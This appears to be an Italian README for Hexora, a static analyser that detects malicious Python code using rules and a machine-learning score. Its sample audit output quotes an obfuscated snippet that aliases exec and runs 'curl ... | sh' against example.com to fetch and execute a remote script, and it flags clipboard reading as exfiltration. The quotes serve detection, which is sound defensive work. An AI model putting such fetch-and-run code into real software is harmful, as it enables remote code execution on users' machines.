hexora

Hexora è uno strumento di analisi statica progettato per rilevare pattern dannosi e nocivi nel codice Python. Combina un motore di analisi statica basato su regole con un modello di machine learning che assegna un punteggio ai file sorgente per classificarli come dannosi o benigni.

Può essere utilizzato per:

• Controllare le dipendenze del progetto per individuare potenziali attacchi alla supply chain
• Rilevare script dannosi trovati su piattaforme come Pastebin, GitHub o directory aperte
• Analizzare file IoC da incidenti di sicurezza passati
• Controllare nuovi pacchetti caricati su PyPi.

Esempi

Per esempi di output, consulta il file docs/examples.md.

Installazione

Usando Python

Richiede Python 3.9+.

pip install hexora

Usando uv:

uv tool install hexora

Utilizzo

hexora --help

Analisi di un singolo file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Analisi di una directory

hexora audit --output-format terminal resources/test/

Analisi dei pacchetti dall'ambiente virtuale

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Dove python3.11 è la versione di Python nell'ambiente virtuale.

Suggerimenti:

• Usa --exclude per sopprimere determinati codici di regola (es. import rumorosi) per una determinata esecuzione
• Usa --min-confidence per concentrarti solo sui risultati ad alta confidenza.

La confidenza indica quanto un determinato pezzo di codice è dannoso. Alcune librerie o snippet di codice vengono utilizzati per scopi legittimi ed è difficile distinguere i casi d'uso legittimi da quelli dannosi. Ecco perché alcuni match hanno un basso livello di confidenza.

Alcune regole possono avere diversi livelli di confidenza. Evita di filtrare molte regole per codice a meno che tu non sia molto sicuro. Ad esempio, l'esecuzione di codice e shell può avere confidenza media, alta e molto alta. Questo dipende da come il codice è stato eseguito. Se rileviamo un tentativo di offuscamento, aumentiamo la confidenza.

Ad esempio, questo codice avrà un'alta confidenza:

globals()["__builtins__"].eval("print(123)")

Utilizzo in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Test su dataset dannosi

Quando sviluppi nuove regole, puoi utilizzare dataset dannosi esistenti come malicious-software-packages-dataset.

Dopo aver clonato, punta lo strumento di benchmark alla directory del dataset:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Regole disponibili

Nuove regole vengono aggiunte regolarmente.

Al momento, sono disponibili le seguenti regole:

Crediti

Per il parsing, utilizziamo il parser AST della libreria ruff.